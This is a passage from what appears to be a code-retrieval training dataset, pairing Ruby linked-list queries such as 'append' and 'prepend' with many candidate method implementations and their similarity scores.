"def prepend(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n @tail = node\n else\n old_head = @head\n @head = node\n @head.next_node = old_head\n end\n end",
"def set_head(value)\n @head = new_node(value)\nend",
"def insert_before(value)\n node = LinkedListNode(value)\n\n node.next = self\n\n node\n end",
"def addNode(node)\r\n\t\tif @nodes.nil?\r\n\t\t\t@nodes = [node]\r\n\t\telse\r\n\t\t\t@nodes << node\r\n\t\tend\r\n\tend",
"def move_node_to_head(node) \n removed = remove_node(node)\n\n add_head(removed)\n end",
"def add_to_front(node)\n temp_node = @head\n @head = node\n @head.next = temp_node\n end",
"def add_to_front(node)\n temp_node = @head\n @head = node\n @head.next = temp_node\n end",
"def prepend(entry=SymMap.new)\r\n @list.insert(0, entry)\r\n end",
"def insert_before(value)\n node = Node(value)\n node.next = self\n node\n end",
"def insert(data)\n @head = Node.new(data, @head)\n end",
"def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n @tail = @head\n else\n new_node = Node.new(value)\n new_node.next_node = @head\n @head = new_node\n end\n end",
"def insert_by_begin(value)\n\t\tif @head.nil?\n\t\t\t@head = @Node.new(value, nil, nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@head[:prev] = @Node.new(value, @head, nil)\n\t\t\t@head = @head[:prev]\n\t\tend\n end",
"def add_node(data)\n\n\t\t# change tactics if we're adding the first node\n\t\tif @head.nil?\n\n\t\t\tadd_first_node(data)\n\n\t\telse\n\n\t\t\tnew_node = Node.new(data)\n\n\t\t\t# point the last node to our new one\n\t\t\t@last.next = new_node\n\n\t\t\t# set our new node as the official last node\n\t\t\t@last = new_node\n\n\t\tend\n\t\tputs \"Added node with the value: #{data}\"\n\tend",
"def prepend(data)\n node = Node.new(data)\n if @head.nil?\n @head = node\n @tail = node\n else\n node.next = @head\n @head = node\n end\n end",
"def added(node)\n\t\t\t@size += 1\n\t\t\treturn node\n\t\tend",
"def add_node( node )\n super( node )\n __add_node__( node )\n end"
] |
[
"0.73379487",
"0.7329455",
"0.73108834",
"0.73108834",
"0.73108834",
"0.7293695",
"0.7276967",
"0.7273252",
"0.72594947",
"0.7253602",
"0.7242728",
"0.72347844",
"0.7224525",
"0.72144526",
"0.7166542",
"0.7166542",
"0.71650815",
"0.7162736",
"0.7160902",
"0.7158707",
"0.7145517",
"0.7113695",
"0.71092665",
"0.7104425",
"0.7091131",
"0.7088135",
"0.7080109",
"0.7071047",
"0.7056321",
"0.7046324",
"0.70218456",
"0.70048666",
"0.6997908",
"0.69958425",
"0.69818",
"0.69794554",
"0.6978646",
"0.69591284",
"0.6941371",
"0.69356805",
"0.693466",
"0.6921583",
"0.6919531",
"0.6916254",
"0.690274",
"0.68803746",
"0.6873566",
"0.6869673",
"0.6866215",
"0.68528855",
"0.6848438",
"0.68478435",
"0.6838928",
"0.6825835",
"0.6822205",
"0.68201905",
"0.68097264",
"0.6793631",
"0.677489",
"0.67632324",
"0.67582756",
"0.67506146",
"0.67476624",
"0.6714573",
"0.67086625",
"0.6707766",
"0.6703064",
"0.6695093",
"0.667229",
"0.66679037",
"0.6657477",
"0.66496736",
"0.66440827",
"0.6638906",
"0.663327",
"0.6622323",
"0.6622323",
"0.6622323",
"0.6617083",
"0.6608552",
"0.6597282",
"0.659467",
"0.6591089",
"0.6584542",
"0.65813506",
"0.65596765",
"0.65584564",
"0.65565026",
"0.65470976",
"0.65470976",
"0.6540965",
"0.6538108",
"0.6536513",
"0.6529029",
"0.652794",
"0.6515423",
"0.65152794",
"0.6511541",
"0.65059805"
] |
0.7728383
|
1
|
prepend Add a new node to the end of the list
|
def append( value )
# Find the last node in this list
# i.e. keep looking at the next node
# until the next node is 'nil'
node = @head
while node.next
node = node.next
# kind of like incrementing the loop counter
end
# puts "End of loop:"
# p node
node.next = Node.new value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def prepend(value)\n new_node = create_node(value)\n new_node.next_node = head\n self.head = new_node\n self.size += 1\n end",
"def prepend( value )\n new_node = Node.new value\n\n # Whatever node was at the start of the list, it\n # is now the 'next' node for our newly created node\n new_node.next = @head\n\n # The new head of the list is set to be the new\n # node that we just created\n @head = new_node\n end",
"def prepend( value )\n new_node = Node.new value\n\n # Whatever node was at the start of the list, it\n # is now the 'next' node for our newly created node\n new_node.next = @head\n\n # The new head of the list is set to be the new\n # node that we just created\n @head = new_node\n end",
"def prepend(node)\n children.prepend(node)\n end",
"def prepend(value)\n @head = Node.new(value, @head)\n @size += 1\n end",
"def prepend(node)\n node.next = @head.next\n @head.next = node\n end",
"def prepend(value)\n new_node = Node.new(value)\n new_node.next = @node\n @node = new_node\n end",
"def prepend(value)\n new_node = Node.new(value, @head)\n @tail = new_node unless @head\n @head = new_node\n @size += 1\n end",
"def prepend(value)\n p = Node.new(value);\n p.prev = nil;\n p.next = self.head;\n self.head.prev = p;\n self.head = p;\n end",
"def prepend(value)\n\t\t@head.next_node = Node.new(value, @head.next_node)\n\tend",
"def prepend(val)\n\t\t# create a new node\n\t\tnew_node = Node.new(val, @head)\n\t\t# update head\n\t\t@head = new_node\n\tend",
"def prepend(node)\n prv = @prv\n top = self\n while prv\n top = prv\n prv = prv.prv\n end\n node = node.last\n top.prv = node\n node.nxt = top\n node\n end",
"def prepend(value)\n\t\t\telement = RubyStructures::Node.new(self, value)\n\t\t\telement.next = @head.next\n\t\t\t@head.next = element\n\t\tend",
"def prepend( value )\n new_node = Node.new value\n new_node.next = @head\n @head = new_node\n end",
"def prepend(data)\n\t\t@previous_head = @head\n\t\t@head = Node.new(data, @previous_head)\n\tend",
"def prepend(entry)\n node = new_node(entry)\n node.next_node = head\n @head = node\n end",
"def prepend(value = nil)\n node = @head\n @head = Node.new(value, node)\n end",
"def prepend(val)\n new_node = Node.new(val, @head)\n @head = new_node\n end",
"def prepend(value)\n newNode = Node.new(value)\n if @list == nil\n @list = newNode\n else\n prevList = list\n @list = newNode\n @list.nextNode = prevList\n end\n end",
"def prepend(node)\n \t if @root==nil\n @root=node\n @tail=node\n else\n node.next_node=@root\n @root=node\n end\n @size+=1\n end",
"def prepend(value)\n @head = Node.new(value, head)\n end",
"def prepend(node_value = nil)\n node = Node.new(node_value)\n if @head.nil?\n @tail = node\n else\n node.next_node = @head\n end\n @head = node\n end",
"def prepend(data)\n node = Node.new(data)\n node.next_node = @head\n @head = node\n end",
"def prepend(data)\n new_node = Node.new(data: data)\n new_node.next_node = @head\n @head = Node.new(data: data, next_node: @head)\n end",
"def prepend\n new_node = Node.new\n\n if @head.nil?\n @head = new_node\n @tail = new_node\n @head.next_node = @tail\n @tail.next_node = nil\n else\n new_node.next_node = @head\n @head = new_node\n end\n end",
"def prepend(value)\n new_node = Node.new(value)\n @node_counter += 1\n if @head == nil\n @head = new_node\n else\n new_node.next_node = @head\n @head = new_node\n end\n end",
"def prepend (number)\n # create a new node\n this_node = Node.new(number)\n \n # make new node point to head, and save it to head\n this_node.next_node = head\n @head = this_node\n end",
"def prepend\n if @size == 0\n @head = Node.new\n @tail = @head\n elsif @size == 1\n @head = Node.new\n @head.next_node = @tail\n else\n new_node = Node.new\n new_node.next_node = @head\n @head = new_node\n end\n\n @size += 1\n @head\n end",
"def prepend(value)\n node = Node.new\n node.value = value\n \n if @head.nil?\n @head = node\n @tail = node\n else\n node.next_node = @head\n @head = node\n end\n @size += 1\n end",
"def prepend(newEntry)\n if @head.nil?\n @head = newEntry\n @tail = newEntry \n else\n newEntry.next = @head \n @head = newEntry\n end \n end",
"def test_prepend_can_add_item_to_beginning_of_list\n list = LinkedList.new(\"purple\")\n list.prepend(\"brown\")\n\n assert_equal \"brown purple\", list.to_string\n assert_equal \"brown\", list.prepend(\"brown\")\n end",
"def prepend(x)\n el = ListElement.new(x)\n el.next = @head\n @head = el\n end",
"def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n else\n current_node = @head\n new_node = Node.new(value)\n @head = new_node\n @head.next_node = current_node\n end\n end",
"def prepend(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n else\n node.next_node = @head\n @head = node\n end\n end",
"def prepend(value)\n node = Node.new\n node.value = value\n node.next = head\n @head = node\n end",
"def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n @tail = @head\n else\n new_node = Node.new(value)\n new_node.next_node = @head\n @head = new_node\n end\n end",
"def prepend(value)\n @array.unshift(Node.new(value,@array[0]))\n end",
"def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n else\n old_point = @head\n @head = Node.new(value)\n @head.next = old_point\n # old_next = @head.next\n # p old_next\n # @head = Node.new(value)\n # @head.next = old_next\n # head is hi\n # replace head with new value\n # make head next the hi attribute\n end\n end",
"def prepend(value)\n #Instantiate the object to be the new head\n new_node = Node.new value\n #Set its next value to the current head\n new_node.next = @head\n @head.before = new_node\n #Set the new one as the new head by repointing SinglyLinkedList head to it\n @head = new_node\n end",
"def prepend(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n @tail = node\n else\n old_head = @head\n @head = node\n @head.next_node = old_head\n end\n end",
"def prepend(surname)\n new_node = Node.new(surname)\n add_to_count\n if @head == nil\n @head = new_node\n else\n #attach current head to come after new node, then add new node as head.\n new_node.next_node = head\n @head = new_node\n end\n return new_node\n end",
"def prepend(data)\n\t\ttmp = Node.new(data)\n\t\tif @head.nil?\n\t\t\t@head = tmp\n\t\t\t@tail = tmp\n\t\telse \n\t\t\ttmp.next = @head\n\t\t\ttmp.previous = nil\n\t\t\t@head.previous = tmp\n\t\t\t@head = tmp\n\t\tend\n\t\t@count += 1\n\n\tend",
"def prepend(value) \n if @head == nil\n @head = value \n @tail = value \n else \n value.next_node = @head\n @head = value \n end \n end",
"def prepend(*args)\n update(*args)\n @list.unshift(args[0])\n end",
"def prepend(data)\n node = Node.new(data)\n if @head.nil?\n @head = node\n @tail = node\n else\n node.next = @head\n @head = node\n end\n end",
"def insert_beginning(*val)\n \n val.each do |nuevo_nodo|\n \n if @head != nil\n \n @head.previous = nuevo_nodo\n nuevo_nodo.next = @head\n @head = nuevo_nodo\n else\n @head = nuevo_nodo\n end\n @num_nodos += 1\n \n end\n end",
"def prepend(root); end",
"def add_at_head(val)\n @list.unshift(val)\n end",
"def prepend(other)\n fs = self.first_sibling\n other.link(:next_sibling, fs)\n fs.link(:previous_sibling, other)\n end",
"def push_before(node, new_node)\n new_node.previous_node = node.previous_node\n new_node.next_node = node\n node.previous_node.next_node = new_node\n node.previous_node = new_node\n end",
"def insert_before(node)\n @prev_node = node.prev_node\n @next_node = node\n node.prev_node.next_node = self\n node.prev_node = self\n self\n end",
"def prepend_child(value = nil)\n unshift value\n end",
"def prepend_child(node_or_tags); end",
"def prepend_child(node_or_tags); end",
"def prepend other\n clone.prepend! other\n end",
"def add_to_front(node)\n node.next = self.head # previous head becomes second, after the node\n self.head = node # the node becomes the new head\n if self.tail == nil\n self.tail = node # if the list was empty, then the node is also the new tail\n end\n end",
"def prepend(data)\n prepend_array = data.split.reverse\n prepend_array.each do |item|\n if list.allowed(item)\n @list.prepend(item)\n else\n 0\n end\n end\n end",
"def insert_before(x,rel)\n x = ListElement.new(x) \n\n #inserting at the beginnig of the list \n if rel == head\n x.next = head\n self.head = x\n\n #inserting in the tail of the list\n else\n el = head\n prev = head\n while el and el != rel\n prev = el\n el = el.next\n end\n\n if el.nil?\n raise ListError, \"List element not found\"\n else\n prev.next = x\n x.next = el\n end\n end\n end",
"def prepend(entry=SymMap.new)\r\n @list.insert(0, entry)\r\n end",
"def add_to_front(node)\n node.set_next(@head)\n @head = node\n end",
"def insert_before(node, obj)\n obj = obj.value if obj.is_a?(Node)\n node = Node.new(obj)\n\n if @head == node\n @head = new_node\n new_node.next = node\n else\n previous = node.previous\n previous.next = new_node\n new_node.previous = previous\n new_node.next = node\n end\n self\n end",
"def move_node_to_head(node) \n removed = remove_node(node)\n\n add_head(removed)\n end",
"def before(node)\n @parent.insert_before(node, self)\n end",
"def add_to_front(node)\n node.next = self.head\n self.head = node\n end",
"def add_to_front(node)\n node.next = self.head\n self.head = node\n end",
"def add_to_front(node)\n node.next = self.head\n self.head = node\n end",
"def add_to_front(node)\n node.next = @head\n @head = node\n end",
"def prepend( ref, layer )\n idx = getidx( ref )\n @list.insert( idx, layer )\n end",
"def insert_before(value)\n node = Node(value)\n node.next = self\n node\n end",
"def append_to_front(value)\n\t\tif @head\n node = Node.new(value)\n node.next = @head\n @head = node\n\t\telse \n\t\t\t@head = Node.new(value)\n\t\t\t@tail = @head\n end\n @size += 1\n end",
"def add_to_front(node)\n @tail ||= node\n node.next = @head if @head\n @head = node\n end",
"def add_to_front(node)\n if @head == nil\n return add_to_tail(node)\n else\n old_head = @head\n @head = node\n @head.next = old_head\n return\n end\n end",
"def add_to_front(node)\n temp = @head\n @head = node\n @head.next = temp\n end",
"def add_to_front(node)\n temp_node = @head\n @head = node\n @head.next = temp_node\n end",
"def add_to_front(node)\n temp_node = @head\n @head = node\n @head.next = temp_node\n end",
"def add_to_front(node)\n if (!@head)\n @head = node\n @tail = node\n else\n prior_head = @head\n @head = node\n @head.next = prior_head\n end\n end",
"def push_front(nodo)\n\t\tif @head == nil\n\t\t\t@head = Node.new(nodo,nil,nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\taux = @head\n\t\t\t@head = Node.new(nodo, aux, nil)\n\t\t\taux.prev = @head\n\t\tend\n\tend",
"def insert_before(value)\n node = LinkedListNode(value)\n\n node.next = self\n\n node\n end",
"def prepend(element)\n NonEmptyList.new(element, *to_a)\n end",
"def insert_by_begin(value)\n\t\tif @head.nil?\n\t\t\t@head = @Node.new(value, nil, nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@head[:prev] = @Node.new(value, @head, nil)\n\t\t\t@head = @head[:prev]\n\t\tend\n end",
"def append(value)\n if @head.nil?\n prepend(value)\n else\n find_tail.next = Node.new(value)\n end\n end",
"def add_to_front(node)\n if @head === nil\n @head = node\n @tail = node\n else\n node.next = @head\n @head = node\n end\n end",
"def append(value)\n if head == nil\n prepend(value)\n else\n tmp = head\n while tmp.next_node != nil\n tmp = tmp.next_node\n end\n tmp.next_node = Node.new(value)\n end\n end",
"def add_previous_sibling(node_or_tags); end",
"def add_to_front(node)\n if @head.nil?\n @tail = node\n else\n node.next = @head\n end\n @head = node\n end",
"def insert_before value\n node = Node.new value, self, @prv\n @prv.nxt = node if @prv\n @prv = node\n end",
"def append(node)\n nxt = @nxt\n top = self\n while nxt\n top = nxt\n nxt = nxt.nxt\n end\n node = node.first\n top.nxt = node\n node.prv = top\n node\n end",
"def add_before(node)\n raise \"Can't add #{self} before a node with no parent\" if node.parent.nil?\n raise \"#{node.parent.class} cannot contain nodes of type #{self.class}\" unless node.parent.can_contain?(self.class)\n raise \"Can't add an node before itself\" if node == self\n raise \"#{self} cannot be its own ancestor\" if node.ancestors.include? self\n\n @__parent__.remove(self) if @__parent__\n @__parent__ = node.parent\n @__parent__.first_child = self if @__parent__.first_child == node\n @__next__ = node\n @__prev__ = node.prev\n node.prev = self\n @__prev__.next = self if @__prev__\n end",
"def add_to_front(node)\n if self.head == nil\n self.head = node\n self.tail = node\n else\n node.next = self.head\n self.head = node\n end\n end",
"def add_to_front(node)\n if self.head == nil\n self.head = node\n self.tail = node\n else\n node.next = self.head\n self.head = node\n end\n end",
"def insert_predecessor\n insert_node('insert_predecessor')\n end",
"def unsorted_add(item)\n @head = Node.new(item,@head)\n end",
"def add_to_front(node)\n if self.head.nil?\n self.head = node\n self.tail = node\n else\n temp = self.head\n self.head = node\n self.head.next = temp\n end\n end",
"def add_to_front(node)\n node.next = @head\n @head = node\n if @tail.nil?\n @tail = node\n end\n end",
"def add_to_front(node)\n node.next = @head\n @head = node\n if @tail.nil?\n @tail = node\n end\n end",
"def add_to_front(node)\n node.next = @head\n @head = node\n if @tail.nil?\n @tail = node\n end\n end",
"def add_to_front(node)\n node.next = self.head\n self.head.nil? && self.tail.nil? ? (self.head = node && self.tail = node) : self.head = node\n end",
"def add_at_head(val)\n if @llist\n old_head = @llist\n @llist = Node.new(val)\n @llist.add_next_node old_head\n else\n @llist = Node.new(val)\n end\n end",
"def add_to_front(node)\n node.next = self.head\n self.head = node\n if self.tail == nil && node.next == nil\n self.tail = node\n end\n end",
"def add_first(node)\n node.next_node = @head\n @head.prev_node = node unless @head.nil?\n @head = node\n end",
"def unshift(val)\n self.double_link_linked_list.prepend(val)\n end"
] |
[
"0.82489604",
"0.82410103",
"0.82410103",
"0.81375027",
"0.8067547",
"0.80228585",
"0.8011651",
"0.7995636",
"0.7977105",
"0.79767853",
"0.7965512",
"0.794785",
"0.7929981",
"0.7927346",
"0.7926634",
"0.79168195",
"0.78590506",
"0.78385437",
"0.7833854",
"0.78299326",
"0.7806396",
"0.78056407",
"0.7804851",
"0.7801559",
"0.7764783",
"0.77302516",
"0.7724806",
"0.77179533",
"0.7715268",
"0.77027917",
"0.76859367",
"0.768287",
"0.7677012",
"0.7675537",
"0.7673704",
"0.76652473",
"0.7656672",
"0.7642064",
"0.7602413",
"0.75981265",
"0.7525984",
"0.7524877",
"0.7508358",
"0.74890655",
"0.74351263",
"0.72449464",
"0.72086954",
"0.71767247",
"0.7127482",
"0.7118461",
"0.6984193",
"0.69808424",
"0.6955252",
"0.6955252",
"0.6948379",
"0.6937328",
"0.6936863",
"0.6936482",
"0.6934215",
"0.6921817",
"0.69128",
"0.691101",
"0.6903143",
"0.6892195",
"0.6892195",
"0.6892195",
"0.68795675",
"0.68675005",
"0.6855451",
"0.6847985",
"0.6834831",
"0.67837685",
"0.6775286",
"0.6760464",
"0.6760464",
"0.67549413",
"0.67482257",
"0.6733417",
"0.6728329",
"0.6722483",
"0.6715499",
"0.6699963",
"0.66856855",
"0.66824406",
"0.6678162",
"0.6675897",
"0.66741955",
"0.66513604",
"0.66377074",
"0.66377074",
"0.6597123",
"0.65846694",
"0.6582244",
"0.65813035",
"0.65813035",
"0.65813035",
"0.6574583",
"0.6572312",
"0.6567989",
"0.65569776",
"0.65230155"
] |
0.0
|
-1
|
append Return the last node in this list
|
def last
node = @head
while node.next
node = node.next
end
node
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def append(value)\n #needs .last method\n #self.last\n last.next = Node.new(value)\n end",
"def add_last(data)\n @head.nil? ? @head = Node.new(data, @head) : add_last_helper(data, @head)\n end",
"def append(value)\n newNode = Node.new(value, nil)\n\n if empty?\n @first = newNode\n else\n @last.next = newNode \n end\n\n @last = newNode\n @length += 1\n self\n end",
"def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end",
"def add_last element\n if empty?\n @head = @tail = Node.new(element, nil)\n else\n @tail.next_node = Node.new(element, nil)\n @tail = @tail.next_node\n end\n @size += 1\n\n return nil\n end",
"def append(value)\n newNode = Node.new(value, nil)\n\n if empty?\n @first = newNode\n else\n @last.next = newNode \n end\n @last = newNode\n @length += 1\n self\n end",
"def add_last element\n if empty?\n @head = @tail = Node.new(element, nil, nil)\n else\n @tail.next_node = Node.new(element, @tail, nil)\n @tail = @tail.next_node\n end\n @size += 1\n\n return nil\n end",
"def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end",
"def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end",
"def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end",
"def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n @last = newNode\r\n @length += 1\r\n self\r\n end",
"def append( value )\n last.next = Node.new value\n end",
"def add_last(data)\n # make a new last node\n new_last_node = Node.new(data, nil)\n # get the last node\n current = head\n if head.nil?\n @head = new_last_node\n last_node = head\n else\n while !current.nil?\n last_node = current\n current = current.next\n end\n # make the last node point to a new last node\n last_node.next = new_last_node\n end\n return new_last_node\n end",
"def add_last(data)\n new_node = Node.new(data)\n\n if @head.nil?\n add_first(data)\n return # THIS RETURN IS VERY IMPORTANT\n end\n\n current = @head\n\n until current.next.nil? \n current = current.next\n end\n\n current.next = new_node\n return\n end",
"def add_last(data)\n new_node = Node.new(data)\n # Using add_first function to add new node in case the list is empty.\n if @head.nil?\n add_first(new_node.data)\n return \n end\n\n pointer = @head\n # Until we reach the last node\n until pointer.next.nil?\n # Move the pointer to the next.\n pointer = pointer.next\n end\n\n pointer.next = new_node\n new_node.next = nil\n end",
"def add_last(data)\n if @head.nil?\n @head = Node.new(data)\n return @head.data\n else\n current = self.last_node\n current.next = Node.new(data)\n return current.next.data\n end\n end",
"def add_last(data)\n current = @head\n # if list is empty, add data to front\n if length == 0\n add_first(data)\n else\n # use length method to move to the last node in the list\n (length - 1).times do \n current = current.next\n end\n last = current\n # insert the new node after the current last node; current last node's next become new last node\n new_node = Node.new(data)\n last.next = new_node\n # assign value of new node's next to nil\n new_node.next = nil\n end\n end",
"def append(value)\n a = Node.new(value);\n a.prev = last;\n a.next = nil;\n a.prev.next = a; #prev now 2nd last\n end",
"def add_last(data)\n current_node = @head\n\n if current_node == nil\n add_first(data)\n return\n end\n\n while current_node.next != nil\n current_node = current_node.next\n end\n\n current_node.next = Node.new(data, nil)\n end",
"def add_last(value)\r\n \r\n # if list is empty, insert the new value at the head\r\n if @head.nil?\r\n @head = Node.new(value, nil)\r\n return @head\r\n end \r\n \r\n # otherwise, traverse the list from start to last node ...\r\n current = @head\r\n until current.next.nil?\r\n current = current.next\r\n end\r\n \r\n # ... and insert new node after last node\r\n current.next = Node.new(value, nil)\r\n \r\n end",
"def add_last(data)\n if @head.nil? \n @head = Node.new(data)\n else\n pointer = @head \n while !pointer.next.nil?\n pointer = pointer.next\n end\n pointer.next = Node.new(data)\n end\n end",
"def add_last(data)\n if !@head\n @head = Node.new(data)\n else\n current = @head\n while current.next\n current = current.next\n end\n current.next = Node.new(data)\n end\n end",
"def add_last(data)\n new_node = Node.new(data)\n if !@head\n @head = new_node\n else\n current = @head\n # while current.next\n while current.next != nil\n current = current.next\n end\n current.next = new_node\n end\nend",
"def add_last(data)\n current = @head\n \n if current.nil?\n @head = Node.new(data)\n return\n end\n while !current.next.nil?\n current = current.next\n end\n current.next = Node.new(data)\n end",
"def add_last(data)\n if @head.nil?\n add_first(data)\n else\n current = @head\n until current.next.nil?\n current = current.next\n end\n current.next = Node.new(data)\n end\n end",
"def ll_append(data)\n new_node = Node.new(data)\n \n if @num_nodes == 0\n @head = new_node\n @tail = new_node\n else\n end_node = @tail\n end_node.set_Next(new_node)\n @tail = new_node\n end\n \n @num_nodes += 1\n end",
"def add_last(data)\n\n if head.nil?\n add_first(data)\n return\n end\n \n node = head\n until node.next.nil?\n node = node.next\n end\n \n node.next = Node.new(data)\n end",
"def add_last(elt)\n @tail = Node.new(elt, nil, @tail)\n if @size == 0\n @head = @tail\n else\n @tail.previous.next = @tail\n end\n @size += 1\n end",
"def add_last(value)\r\n return @head = Node.new(value) unless @head\r\n \r\n last = @head\r\n last = last.next while last.next\r\n last.next = Node.new(value)\r\n end",
"def append list, *rest\n result = self.copy_tree\n if rest.empty? or rest.nil?\n if list.kind_of? Cons\n result.the_last.cdr = list.copy_tree\n else # list is not a list\n result.the_last.cdr = list\n end\n return result\n else\n result.the_last.cdr = list.copy_tree\n return result.append *rest\n end\n end",
"def append(value)\n new_node = create_node(value) \n if head.nil?\n self.head = new_node\n else\n last_node = tail\n last_node.next_node = new_node\n end\n self.size += 1\n end",
"def append(node)\n if @root==nil\n \t@root=node\n \t@tail=node\n else\n \t@tail.next_node = node\n \t@tail= node\n\n end\n @size+=1\n end",
"def append(node)\n nxt = @nxt\n top = self\n while nxt\n top = nxt\n nxt = nxt.nxt\n end\n node = node.first\n top.nxt = node\n node.prv = top\n node\n end",
"def add element\n add_last(element)\n end",
"def add element\n add_last(element)\n end",
"def append( value )\n\n # Find the last node in this list\n # i.e. keep looking at the next node\n # until the next node is 'nil'\n node = @head\n while node.next\n node = node.next\n # kind of like incrementing the loop counter\n end\n\n # puts \"End of loop:\"\n # p node\n\n node.next = Node.new value\n end",
"def add_last(data)\n last_node = Node.new(data)\n\n unless head\n @head = last_node\n else\n current_node = @head\n until current_node.next.nil?\n current_node = current_node.next\n end\n current_node.next = last_node\n end\n end",
"def append(value)\n\t\t\tif self.empty?\n\t\t\t\tself.prepend(value)\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\telement = self.head\n\t\t\t# loop through each element in the LinkedList, until element.next \n\t\t\t# equals @head, signifying we have reached the end of the list.\n\t\t\twhile(element != self.head)\n\t\t\t\telement = element.next\n\t\t\tend\n\n\t\t\tnew_element = RubyStructures::Node.new(self, value)\n\t\t\t# insert the new element at the end of the LinkedList.\n\t\t\tnew_element.next = element.next\n\t\t\telement.next = new_element\n\t\tend",
"def append( value )\n\n # Find the last node in this list\n # i.e. keep looking at the next node\n # until the next node is 'nil'\n node = @head\n while node.next\n node = node.next\n # ^ kind of like incrementing the loop counter\n end\n\n node.next = Node.new value\n end",
"def add_last(value)\r\n newNode = Node.new(value)\r\n \r\n if @head.nil? \r\n @head = newNode\r\n return\r\n end\r\n\r\n prev = nil\r\n curr = @head \r\n\r\n while curr\r\n if curr.next \r\n prev = curr\r\n curr = curr.next\r\n else\r\n curr.next = newNode\r\n return\r\n end\r\n end\r\n \r\n end",
"def add_last(value)\n new_node = Node.new(value)\n\n if !@head\n @head = new_node\n return\n end\n\n current = @head\n while current.next\n current = current.next\n end\n current.next = new_node\n return\n end",
"def add_last(value)\r\n new_node = Node.new(value)\r\n if !@head\r\n @head = new_node\r\n else\r\n cursor = @head\r\n while cursor.next\r\n cursor = cursor.next\r\n end\r\n cursor.next = new_node\r\n end\r\n end",
"def append(node)\n\t\t\tif node.head\n\t\t\t\traise ArgumentError, \"Node is already in a list!\"\n\t\t\tend\n\t\t\t\n\t\t\tnode.tail = self\n\t\t\t@head.tail = node\n\t\t\tnode.head = @head\n\t\t\t@head = node\n\t\t\t\n\t\t\treturn added(node)\n\t\tend",
"def append (number)\n # create new node\n this_node = Node.new(number)\n # make head if none\n if head.nil?\n return @head = this_node\n end\n\n # else, loop to end of list\n current = @head\n until current.next_node.nil?\n current = current.next_node\n end\n\n # make last node point to new node\n current.next_node = this_node\n\n # update tail to be this_node\n @tail = this_node\n end",
"def append(node_value = nil)\n node = Node.new(node_value)\n if @tail.nil?\n @head = node\n else\n @tail.next_node = node\n end\n @tail = node\n end",
"def append(val)\n\t\t# create a new node\n\t\tnewNode = Node.new(val, nil)\n\t\t# make old tail point to new node\n\t\t@tail.next_node = newNode\n\t\t# update tail\n\t\t@tail = newNode\n\tend",
"def add_last(node)\n if @head.nil?\n @head = node\n return\n end\n\n iterate do |curr_node|\n if curr_node.next_node.nil?\n curr_node.next_node = node\n node.prev_node = curr_node\n return\n end\n end\n end",
"def append\n new_node = Node.new\n\n if @head.nil? #aka empty list (no nodes)\n @head = new_node\n @tail = new_node\n @head.next_node = @tail\n @tail.next_node = nil #problem alert\n else\n @tail.next_node = new_node\n @tail = new_node\n @tail.next_node = nil #problem alert\n end\n end",
"def add_last(value)\n new_node = DoublyLinkedNode.new(value, @tail, nil)\n if @tail\n @tail.next = new_node\n new_node.prev = @tail\n @tail = new_node\n else\n @head = new_node\n @tail = new_node\n end\n end",
"def append(value)\n\t\tself.tail.next_node = Node.new(value, nil)\n\tend",
"def append(node)\n children.append(node)\n end",
"def append\n if @size == 0\n @head = Node.new\n @tail = @head\n elsif @size == 1\n new_node = Node.new\n @head.next_node = new_node\n @tail = new_node\n else\n new_node = Node.new\n search_node = @tail\n search_node.next_node = new_node\n @tail = new_node\n end\n\n @size += 1\n @tail\n end",
"def append(value)\n new_node = ListNode.new(value)\n if self.head.nil?\n self.head = self.tail = new_node\n self.size = 1\n else\n set_next_and_prev(self.tail, new_node)\n self.tail = new_node\n self.size += 1\n end\n self.as_string\n end",
"def append(x)\n last_elem = self.tail\n if !empty?\n @tail = last_elem.append(x)\n else\n @head = ListElement.new(x)\n @tail = @head\n end\n end",
"def append(value)\n # if the list is empty, you need to update head and tail. \n # you can do via push, because in the case append == push\n if isEmpty?\n push(value)\n return\n end\n\n # if the list is not empty, you need to create a new Node\n # after the tail\n @tail.next_node = Node.new(value)\n # since it's a tail-end insertion, the new node is also\n # the tail of the list\n @tail = @tail.next_node\n end",
"def append(value)\n node = Node.new(value)\n if last\n last.next = node\n else\n @head = node\n end\n end",
"def add_last(value)\n if @head.nil?\n return @head = DoubleNode.new(value)\n end\n\n current = @head\n\n until current.next.nil?\n current = current.next\n end\n\n new_node = DoubleNode.new(value, current, nil)\n current.next = new_node \n end",
"def append(val)\n\t\t# create a new node\n\t\tnew_node = Node.new(val, nil)\n\t\t# make old tail point to new node\n\t\t@tail.next_node = new_node\n\t\t# update tail\n\t\t@tail = new_node\n\tend",
"def append(other)\n self.last_sibling.add_sibling(other)\n end",
"def append(val)\n node = Node.new\n node.value = val\n @array << node \n @array[-2].next_node = node unless @array.count == 1 \n end",
"def append(node)\n if next_node\n next_node.append(node)\n else\n next_node = node\n end\n end",
